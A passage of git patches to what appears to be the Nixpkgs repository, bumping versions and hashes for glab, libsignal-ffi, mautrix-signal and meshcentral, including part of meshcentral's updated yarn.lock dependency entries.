 buildGoModule (finalAttrs: {
   pname = "glab";
-  version = "1.56.0";
+  version = "1.62.0";
 
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "cli";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-sLxb3BC2yvtbT11C9iWlGsIQ/7Lr34+q/BPIcDx4P+s=";
+    hash = "sha256-+dXMlNc54i/vEwYV0YRKXrdWejcgfXFW+tFq3tf8TZY=";
     leaveDotGit = true;
     postFetch = ''
       cd "$out"
@@ -27,7 +27,7 @@ buildGoModule (finalAttrs: {
     '';
   };
 
-  vendorHash = "sha256-m4IWtK2PNjs2UxzVCT2oSx6Gic2flN4Fq8w0mNIhHxo=";
+  vendorHash = "sha256-sgph04zjHvvgL0QJm2//h8jyDg/5NY7dq50C0G0hYYM=";
 
   ldflags = [
     "-s"

From bd4648874343c2bdcdf4215b9adc5da9ed39b7bd Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Wed, 16 Jul 2025 13:30:21 +0200
Subject: [PATCH 2620/4511] libsignal-ffi: 0.74.1 -> 0.76.1

(cherry picked from commit df535b00a5a0414a79c2e732a36fe015796d93ef)
---
 pkgs/by-name/li/libsignal-ffi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index fb1062aed4d3..9017d7d13b83 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -21,14 +21,14 @@ rustPlatform.buildRustPackage rec {
   pname = "libsignal-ffi";
   # must match the version used in mautrix-signal
   # see https://github.com/mautrix/signal/issues/401
-  version = "0.74.1";
+  version = "0.76.1";
 
   src = fetchFromGitHub {
     fetchSubmodules = true;
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${version}";
-    hash = "sha256-ZMi+/d051CS7TcWVZnVItNpok0ac+vAvvZL/buNrtL0=";
+    hash = "sha256-411+ANwyqqUX11rxCzFvPhjMWviJ0CcQlkAiqNWs32w=";
   };
 
   nativeBuildInputs = [
@@ -40,7 +40,7 @@ rustPlatform.buildRustPackage rec {
   env.NIX_LDFLAGS = if stdenv.hostPlatform.isDarwin then "-lc++" else "-lstdc++";
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-pRMFWJSRjhZYfX7dmOQXK3BjhJKzPR1Pg+TZzTfPnd4=";
+  cargoHash = "sha256-9W7u0fZgU0J03hT6D4BJPpIKn3dwf9yckJiwwNkyqUA=";
 
   cargoBuildFlags = [
     "-p"

From 594e36302afcd5f5e5e1d1f27134161b189e69c9 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Wed, 16 Jul 2025 13:30:34 +0200
Subject: [PATCH 2621/4511] mautrix-signal: 0.8.4 -> 0.8.5

(cherry picked from commit 6a37be0266c1907b2c884665fa24d28d23bead25)
---
 pkgs/by-name/ma/mautrix-signal/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-signal/package.nix b/pkgs/by-name/ma/mautrix-signal/package.nix
index 0e768a5a695d..43f32bfbaf0d 100644
--- a/pkgs/by-name/ma/mautrix-signal/package.nix
+++ b/pkgs/by-name/ma/mautrix-signal/package.nix
@@ -19,13 +19,13 @@ let
 in
 buildGoModule rec {
   pname = "mautrix-signal";
-  version = "0.8.4";
+  version = "0.8.5";
 
   src = fetchFromGitHub {
     owner = "mautrix";
     repo = "signal";
     tag = "v${version}";
-    hash = "sha256-8F9wk83F3wB9vXvAFz4IiBmGbDOp/SyqQkYnhHPlYj0=";
+    hash = "sha256-koO1eeMZ8wmty6z2zyJlA7zoM6gYmFlxdF8GB2hOxb8=";
   };
 
   buildInputs =
@@ -41,7 +41,7 @@ buildGoModule rec {
 
   CGO_LDFLAGS = lib.optional withGoolm [ cppStdLib ];
 
-  vendorHash = "sha256-0eh1PaExf87zJ4E/ix1Mjcx2Sms6qNAFc8LD80A5n7M=";
+  vendorHash = "sha256-NmIWxc+6Leaqm1W+g2XdbMv4iU7Z7k8/g88U0iw/+98=";
 
   doCheck = true;
   preCheck =

From eaa670ebcaef99055b3cbf21a396183e98c9ce68 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 16:43:51 +0000
Subject: [PATCH 2622/4511] meshcentral: 1.1.46 -> 1.1.47

(cherry picked from commit 12344c8df208f1962a9412e295da85c6eef901c5)
---
 pkgs/tools/admin/meshcentral/default.nix  |   8 +-
 pkgs/tools/admin/meshcentral/package.json |   2 +-
 pkgs/tools/admin/meshcentral/yarn.lock    | 508 +++++++++++-----------
 3 files changed, 262 insertions(+), 256 deletions(-)

diff --git a/pkgs/tools/admin/meshcentral/default.nix b/pkgs/tools/admin/meshcentral/default.nix
index b11b4a7835cf..33fd196ea964 100644
--- a/pkgs/tools/admin/meshcentral/default.nix
+++ b/pkgs/tools/admin/meshcentral/default.nix
@@ -8,11 +8,11 @@
 }:
 
 yarn2nix-moretea.mkYarnPackage {
-  version = "1.1.46";
+  version = "1.1.47";
 
   src = fetchzip {
-    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.46.tgz";
-    sha256 = "143ls8455c4vaj0cnai08h7f8mj8llzbjaa54mhcri0aqdh5b5yg";
+    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.47.tgz";
+    sha256 = "196d2rzmy5caaw42d3az9m4yfwjsgia82g7ic71knamd28q9rab2";
   };
 
   patches = [
@@ -24,7 +24,7 @@ yarn2nix-moretea.mkYarnPackage {
 
   offlineCache = fetchYarnDeps {
     yarnLock = ./yarn.lock;
-    hash = "sha256-VzxNWtbn/ToODqE3jU7n0xpaOZmst55wJ2+dZLonIaA=";
+    hash = "sha256-2pU0XhkiDNjkZiXA2S4RMTY4IyVEnsV/vEDtYnPjOfk=";
   };
 
   # Tarball has CRLF line endings. This makes patching difficult, so let's convert them.
diff --git a/pkgs/tools/admin/meshcentral/package.json b/pkgs/tools/admin/meshcentral/package.json
index aa9b9bdc8ec8..458ec1ed6b35 100644
--- a/pkgs/tools/admin/meshcentral/package.json
+++ b/pkgs/tools/admin/meshcentral/package.json
@@ -1,6 +1,6 @@
 {
   "name": "meshcentral",
-  "version": "1.1.46",
+  "version": "1.1.47",
   "keywords": [
     "Remote Device Management",
     "Remote Device Monitoring",
diff --git a/pkgs/tools/admin/meshcentral/yarn.lock b/pkgs/tools/admin/meshcentral/yarn.lock
index 38c25442581b..c63c14095127 100644
--- a/pkgs/tools/admin/meshcentral/yarn.lock
+++ b/pkgs/tools/admin/meshcentral/yarn.lock
@@ -48,166 +48,166 @@
     "@smithy/util-utf8" "^2.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-cognito-identity@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.840.0.tgz#2fb8b8ac30c8418c46c42fef447ab13151492cab"
-  integrity sha512-0sn/X63Xqqh5D1FYmdSHiS9SkDzTitoGO++/8IFik4xf/jpn4ZQkIoDPvpxFZcLvebMuUa6jAQs4ap4RusKGkg==
+"@aws-sdk/client-cognito-identity@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.846.0.tgz#f7bfecb0c731df961058b4f63029f7556cb7eda6"
+  integrity sha512-vlzQVq1TOOYHPppmON/+oNhCxprCPPqxlqAuUddf885JcT6Q9r7FeV7S2yHli/1XC6vBa7sAninNvOjzwDbwYw==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.840.0"
-    "@aws-sdk/credential-provider-node" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
+    "@aws-sdk/credential-provider-node" "3.846.0"
     "@aws-sdk/middleware-host-header" "3.840.0"
     "@aws-sdk/middleware-logger" "3.840.0"
     "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.846.0"
     "@aws-sdk/region-config-resolver" "3.840.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.845.0"
     "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.840.0"
+    "@aws-sdk/util-user-agent-node" "3.846.0"
     "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.6.0"
-    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/core" "^3.7.0"
+    "@smithy/fetch-http-handler" "^5.1.0"
     "@smithy/hash-node" "^4.0.4"
     "@smithy/invalid-dependency" "^4.0.4"
     "@smithy/middleware-content-length" "^4.0.4"
-    "@smithy/middleware-endpoint" "^4.1.13"
-    "@smithy/middleware-retry" "^4.1.14"
+    "@smithy/middleware-endpoint" "^4.1.15"
+    "@smithy/middleware-retry" "^4.1.16"
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/middleware-stack" "^4.0.4"
     "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/node-http-handler" "^4.1.0"
     "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     "@smithy/url-parser" "^4.0.4"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.21"
-    "@smithy/util-defaults-mode-node" "^4.0.21"
+    "@smithy/util-defaults-mode-browser" "^4.0.23"
+    "@smithy/util-defaults-mode-node" "^4.0.23"
     "@smithy/util-endpoints" "^3.0.6"
     "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-retry" "^4.0.6"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-sso@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.840.0.tgz#74cce04e0192d192e5d9926fcc7f365811e586f0"
-  integrity sha512-3Zp+FWN2hhmKdpS0Ragi5V2ZPsZNScE3jlbgoJjzjI/roHZqO+e3/+XFN4TlM0DsPKYJNp+1TAjmhxN6rOnfYA==
+"@aws-sdk/client-sso@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.846.0.tgz#9905ccf216e371c94ca63b1df19dba923d286307"
+  integrity sha512-7MgMl3nlwf2ixad5Xe8pFHtcwFchkx37MEvGuB00tn5jyBp3AQQ4dK3iHtj2HjhXcXD0G67zVPvH4/QNOL7/gw==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
     "@aws-sdk/middleware-host-header" "3.840.0"
     "@aws-sdk/middleware-logger" "3.840.0"
     "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.846.0"
     "@aws-sdk/region-config-resolver" "3.840.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.845.0"
     "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.840.0"
+    "@aws-sdk/util-user-agent-node" "3.846.0"
     "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.6.0"
-    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/core" "^3.7.0"
+    "@smithy/fetch-http-handler" "^5.1.0"
     "@smithy/hash-node" "^4.0.4"
     "@smithy/invalid-dependency" "^4.0.4"
     "@smithy/middleware-content-length" "^4.0.4"
-    "@smithy/middleware-endpoint" "^4.1.13"
-    "@smithy/middleware-retry" "^4.1.14"
+    "@smithy/middleware-endpoint" "^4.1.15"
+    "@smithy/middleware-retry" "^4.1.16"
     "@smithy/middleware-serde" "^4.0.8"
     "@smithy/middleware-stack" "^4.0.4"
     "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/node-http-handler" "^4.1.0"
     "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     "@smithy/url-parser" "^4.0.4"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.21"
-    "@smithy/util-defaults-mode-node" "^4.0.21"
+    "@smithy/util-defaults-mode-browser" "^4.0.23"
+    "@smithy/util-defaults-mode-node" "^4.0.23"
     "@smithy/util-endpoints" "^3.0.6"
     "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-retry" "^4.0.6"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/core@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.840.0.tgz#8eb2c2ba7c258ebbc13d8ea6c45b619b145dc147"
-  integrity sha512-x3Zgb39tF1h2XpU+yA4OAAQlW6LVEfXNlSedSYJ7HGKXqA/E9h3rWQVpYfhXXVVsLdYXdNw5KBUkoAoruoZSZA==
+"@aws-sdk/core@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.846.0.tgz#f226d7d4f9b25f31dfda260f7ef1f4de8e4314fa"
+  integrity sha512-7CX0pM906r4WSS68fCTNMTtBCSkTtf3Wggssmx13gD40gcWEZXsU00KzPp1bYheNRyPlAq3rE22xt4wLPXbuxA==
   dependencies:
     "@aws-sdk/types" "3.840.0"
     "@aws-sdk/xml-builder" "3.821.0"
-    "@smithy/core" "^3.6.0"
+    "@smithy/core" "^3.7.0"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/signature-v4" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-utf8" "^4.0.0"
-    fast-xml-parser "4.4.1"
+    fast-xml-parser "5.2.5"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-cognito-identity@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.840.0.tgz#fb911466aa782f15f76f26f852a87994f6f92856"
-  integrity sha512-p1RaMVd6+6ruYjKsWRCZT/jWhrYfDKbXY+/ScIYTvcaOOf9ArMtVnhFk3egewrC7kPXFGRYhg2GPmxRotNYMng==
+"@aws-sdk/credential-provider-cognito-identity@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.846.0.tgz#61c09e6a3ccf325991f2e335378fd40d6018f44b"
+  integrity sha512-zfcNFUK0QC7czR/n3ATMp3ZWkMrGZzJ1mS/sTezjFg1IupFnogyF+8xKmnmqXiABJd1yE8FduYgw8yx0ZSWiCw==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.840.0"
+    "@aws-sdk/client-cognito-identity" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-env@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.840.0.tgz#0410a67ed6508ff642df17090d2f4fb61c1e329a"
-  integrity sha512-EzF6VcJK7XvQ/G15AVEfJzN2mNXU8fcVpXo4bRyr1S6t2q5zx6UPH/XjDbn18xyUmOq01t+r8gG+TmHEVo18fA==
+"@aws-sdk/credential-provider-env@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.846.0.tgz#b47637b123544971f4d1c7300ea77b70143a7141"
+  integrity sha512-QuCQZET9enja7AWVISY+mpFrEIeHzvkx/JEEbHYzHhUkxcnC2Kq2c0bB7hDihGD0AZd3Xsm653hk1O97qu69zg==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-http@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.840.0.tgz#46ee53ff2f22adf4d5cdb83be946ea6554dfc280"
-  integrity sha512-wbnUiPGLVea6mXbUh04fu+VJmGkQvmToPeTYdHE8eRZq3NRDi3t3WltT+jArLBKD/4NppRpMjf2ju4coMCz91g==
+"@aws-sdk/credential-provider-http@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.846.0.tgz#fe8b36493070a3444d76082b5129450598563fe0"
+  integrity sha512-Jh1iKUuepdmtreMYozV2ePsPcOF5W9p3U4tWhi3v6nDvz0GsBjzjAROW+BW8XMz9vAD3I9R+8VC3/aq63p5nlw==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
     "@aws-sdk/types" "3.840.0"
-    "@smithy/fetch-http-handler" "^5.0.4"
-    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/fetch-http-handler" "^5.1.0"
+    "@smithy/node-http-handler" "^4.1.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/smithy-client" "^4.4.7"
     "@smithy/types" "^4.3.1"
-    "@smithy/util-stream" "^4.2.2"
+    "@smithy/util-stream" "^4.2.3"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-ini@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.840.0.tgz#d4c53a45803caa32a31033ae12cbdf5ab8ba0400"
-  integrity sha512-7F290BsWydShHb+7InXd+IjJc3mlEIm9I0R57F/Pjl1xZB69MdkhVGCnuETWoBt4g53ktJd6NEjzm/iAhFXFmw==
+"@aws-sdk/credential-provider-ini@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.846.0.tgz#3d4df54131048d745a04ab3b4af95407f49f7514"
+  integrity sha512-GUxaBBKsYx1kOlRbcs77l6BVyG9K70zekJX+5hdwTEgJq7AoHl/XYoWiDxPf6zQ7J4euixPJoyRhpNbJjAXdFw==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
-    "@aws-sdk/credential-provider-env" "3.840.0"
-    "@aws-sdk/credential-provider-http" "3.840.0"
-    "@aws-sdk/credential-provider-process" "3.840.0"
-    "@aws-sdk/credential-provider-sso" "3.840.0"
-    "@aws-sdk/credential-provider-web-identity" "3.840.0"
-    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
+    "@aws-sdk/credential-provider-env" "3.846.0"
+    "@aws-sdk/credential-provider-http" "3.846.0"
+    "@aws-sdk/credential-provider-process" "3.846.0"
+    "@aws-sdk/credential-provider-sso" "3.846.0"
+    "@aws-sdk/credential-provider-web-identity" "3.846.0"
+    "@aws-sdk/nested-clients" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/property-provider" "^4.0.4"
@@ -215,17 +215,17 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-node@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.840.0.tgz#9320c35fd0597661b255465f3650b56ddd05a40d"
-  integrity sha512-KufP8JnxA31wxklLm63evUPSFApGcH8X86z3mv9SRbpCm5ycgWIGVCTXpTOdgq6rPZrwT9pftzv2/b4mV/9clg==
+"@aws-sdk/credential-provider-node@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.846.0.tgz#576d302e7d5af1abc7e5b95695dd97afa03ad2f8"
+  integrity sha512-du2DsXYRfQ8VIt/gXGThhT8KdUEt2j9W91W87Bl9IA5DINt4nSZv+gzh8LqHBYsTSqoUpKb+qIfP1RjZM/8r0A==
   dependencies:
-    "@aws-sdk/credential-provider-env" "3.840.0"
-    "@aws-sdk/credential-provider-http" "3.840.0"
-    "@aws-sdk/credential-provider-ini" "3.840.0"
-    "@aws-sdk/credential-provider-process" "3.840.0"
-    "@aws-sdk/credential-provider-sso" "3.840.0"
-    "@aws-sdk/credential-provider-web-identity" "3.840.0"
+    "@aws-sdk/credential-provider-env" "3.846.0"
+    "@aws-sdk/credential-provider-http" "3.846.0"
+    "@aws-sdk/credential-provider-ini" "3.846.0"
+    "@aws-sdk/credential-provider-process" "3.846.0"
+    "@aws-sdk/credential-provider-sso" "3.846.0"
+    "@aws-sdk/credential-provider-web-identity" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/property-provider" "^4.0.4"
@@ -233,63 +233,63 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-process@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.840.0.tgz#ac775db4d4e89fae7966da9b1fde4308f2ceca7a"
-  integrity sha512-HkDQWHy8tCI4A0Ps2NVtuVYMv9cB4y/IuD/TdOsqeRIAT12h8jDb98BwQPNLAImAOwOWzZJ8Cu0xtSpX7CQhMw==
+"@aws-sdk/credential-provider-process@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.846.0.tgz#19d22592594ca554a83148313651d5167c181fc3"
+  integrity sha512-mEpwDYarJSH+CIXnnHN0QOe0MXI+HuPStD6gsv3z/7Q6ESl8KRWon3weFZCDnqpiJMUVavlDR0PPlAFg2MQoPg==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/shared-ini-file-loader" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-sso@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.840.0.tgz#44dc39fc4e8a619a5aed0fa2f1663de3a54a3304"
-  integrity sha512-2qgdtdd6R0Z1y0KL8gzzwFUGmhBHSUx4zy85L2XV1CXhpRNwV71SVWJqLDVV5RVWVf9mg50Pm3AWrUC0xb0pcA==
+"@aws-sdk/credential-provider-sso@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.846.0.tgz#6c1040a3476e877a769075682c3f7c105f16460b"
+  integrity sha512-Dxz9dpdjfxUsSfW92SAldu9wy8wgEbskn4BNWBFHslQHTmqurmR0ci4P1SMxJJKd498AUEoIAzZOtjGOC38irQ==
   dependencies:
-    "@aws-sdk/client-sso" "3.840.0"
-    "@aws-sdk/core" "3.840.0"
-    "@aws-sdk/token-providers" "3.840.0"
+    "@aws-sdk/client-sso" "3.846.0"
+    "@aws-sdk/core" "3.846.0"
+    "@aws-sdk/token-providers" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/shared-ini-file-loader" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-web-identity@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.840.0.tgz#5db983a9fb92110fa6e3f61e2a982a96f571c5c4"
-  integrity sha512-dpEeVXG8uNZSmVXReE4WP0lwoioX2gstk4RnUgrdUE3YaPq8A+hJiVAyc3h+cjDeIqfbsQbZm9qFetKC2LF9dQ==
+"@aws-sdk/credential-provider-web-identity@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.846.0.tgz#939629e1cf2b778168f350ea79aaf278b357317e"
+  integrity sha512-j6zOd+kynPQJzmVwSKSUTpsLXAf7vKkr7hCPbQyqC8ZqkIuExsRqu2vRQjX2iH/MKhwZ+qEWMxPMhfDoyv7Gag==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
-    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
+    "@aws-sdk/nested-clients" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/property-provider" "^4.0.4"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@aws-sdk/credential-providers@^3.186.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.840.0.tgz#68a1febaeb564527b96515ee0e5767405e208550"
-  integrity sha512-+CxYdGd+uM4NZ9VUvFTU1c/H61qhDB4q362k8xKU+bz24g//LDQ5Mpwksv8OUD1en44v4fUwgZ4SthPZMs+eFQ==
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.846.0.tgz#98c348ec6551f7dc832bfc369fe221b2b71e4846"
+  integrity sha512-YpTJcV5PO0V+I1nRGAyNF/kCcOIgPgzihlAyOqicmq3vZ8UHZqUCOfzcS6qbEpPFeAB3domzBgsAJNsQXht4SA==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.840.0"
-    "@aws-sdk/core" "3.840.0"
-    "@aws-sdk/credential-provider-cognito-identity" "3.840.0"
-    "@aws-sdk/credential-provider-env" "3.840.0"
-    "@aws-sdk/credential-provider-http" "3.840.0"
-    "@aws-sdk/credential-provider-ini" "3.840.0"
-    "@aws-sdk/credential-provider-node" "3.840.0"
-    "@aws-sdk/credential-provider-process" "3.840.0"
-    "@aws-sdk/credential-provider-sso" "3.840.0"
-    "@aws-sdk/credential-provider-web-identity" "3.840.0"
-    "@aws-sdk/nested-clients" "3.840.0"
+    "@aws-sdk/client-cognito-identity" "3.846.0"
+    "@aws-sdk/core" "3.846.0"
+    "@aws-sdk/credential-provider-cognito-identity" "3.846.0"
+    "@aws-sdk/credential-provider-env" "3.846.0"
+    "@aws-sdk/credential-provider-http" "3.846.0"
+    "@aws-sdk/credential-provider-ini" "3.846.0"
+    "@aws-sdk/credential-provider-node" "3.846.0"
+    "@aws-sdk/credential-provider-process" "3.846.0"
+    "@aws-sdk/credential-provider-sso" "3.846.0"
+    "@aws-sdk/credential-provider-web-identity" "3.846.0"
+    "@aws-sdk/nested-clients" "3.846.0"
     "@aws-sdk/types" "3.840.0"
     "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.6.0"
+    "@smithy/core" "^3.7.0"
     "@smithy/credential-provider-imds" "^4.0.6"
     "@smithy/node-config-provider" "^4.1.3"
     "@smithy/property-provider" "^4.0.4"
@@ -325,57 +325,57 @@
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-user-agent@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.840.0.tgz#3702abf6c7cf86e776e695427a4da0bc13bcc994"
-  integrity sha512-hiiMf7BP5ZkAFAvWRcK67Mw/g55ar7OCrvrynC92hunx/xhMkrgSLM0EXIZ1oTn3uql9kH/qqGF0nqsK6K555A==
+"@aws-sdk/middleware-user-agent@3.846.0":
+  version "3.846.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.846.0.tgz#e038f60b1b12b2c44a41c831925f52347ca27540"
+  integrity sha512-85/oUc2jMXqQWo+HHH7WwrdqqArzhMmTmBCpXZwklBHG+ZMzTS5Wug2B0HhGDVWo9aYRMeikSq4lsrpHFVd2MQ==
   dependencies:
-    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/core" "3.846.0"
     "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.840.0"
-    "@smithy/core" "^3.6.0"
+    "@aws-sdk/util-endpoints" "3.845.0"
+    "@smithy/core" "^3.7.0"
     "@smithy/protocol-http" "^5.1.2"
     "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@aws-sdk/nested-clients@3.840.0":
-  version "3.840.0"
